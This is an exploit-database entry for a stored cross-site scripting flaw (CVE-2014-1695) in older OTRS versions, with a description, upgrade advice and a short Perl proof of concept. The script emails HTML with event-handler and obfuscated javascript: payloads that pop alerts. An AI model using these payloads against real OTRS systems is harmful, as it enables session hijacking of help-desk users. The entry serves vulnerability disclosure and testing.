header-logo
Suggest Exploit
vendor:
OTRS
by:
Adam Ziaja
8.8
CVSS
HIGH
Stored Cross-Site Scripting (XSS)
79
CWE
Product Name: OTRS
Affected Version From: 3.1.x
Affected Version To: 3.3.x
Patch Exists: YES
Related CWE: CVE-2014-1695
CPE: a:otrs:otrs
Metasploit: https://www.rapid7.com/db/vulnerabilities/freebsd-vid-70b72a52-9e54-11e3-babe-60a44c524f57/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2014-1695/
Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=75286, https://www.infosecmatter.com/nessus-plugin-library/?id=72696, https://www.infosecmatter.com/nessus-plugin-library/?id=86654, https://www.infosecmatter.com/nessus-plugin-library/?id=86703, https://www.infosecmatter.com/nessus-plugin-library/?id=82123, https://www.infosecmatter.com/nessus-plugin-library/?id=126292, https://www.infosecmatter.com/nessus-plugin-library/?id=75629, https://www.infosecmatter.com/nessus-plugin-library/?id=75081, https://www.infosecmatter.com/nessus-plugin-library/?id=76683, https://www.infosecmatter.com/nessus-plugin-library/?id=74615
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2014

Stored Cross-Site Scripting (XSS) in OTRS

A stored XSS vulnerability exists in OTRS versions 3.1.x before 3.1.20, 3.2.x before 3.2.15, and 3.3.x before 3.3.5. An attacker can craft a malicious HTML email and send it to an OTRS user. When the user opens the email, the malicious code will be executed in the user's browser, allowing the attacker to gain access to the user's session.

Mitigation:

Upgrade to OTRS version 3.1.20, 3.2.15, or 3.3.5 or later.
Source

Exploit-DB raw data:

# Exploit Title: Stored Cross-Site Scripting (XSS) in OTRS
# Date: 28.01.2014
# Exploit Author: Adam Ziaja http://adamziaja.com
# Vendor Homepage: https://www.otrs.com
# Version: 3.1.x before 3.1.20, 3.2.x before 3.2.15, and 3.3.x before 3.3.5
# CVE : CVE-2014-1695

#!/usr/bin/perl -w
use strict;
use MIME::Lite;
my $msg = MIME::Lite->new(
    Subject => 'OTRS XSS PoC',
    From => 'attacker@example.com',
    To => 'otrs@example.com',
    Type => 'text/html',
    Data =>
        '<html><body><img/onerror="alert(\'XSS1\')"src=a><iframe
src=javasc&#x72ipt:alert(\'XSS2\') ></body></html>'
);
$msg->send();

Navigation

Suggest Exploit

Services By CQR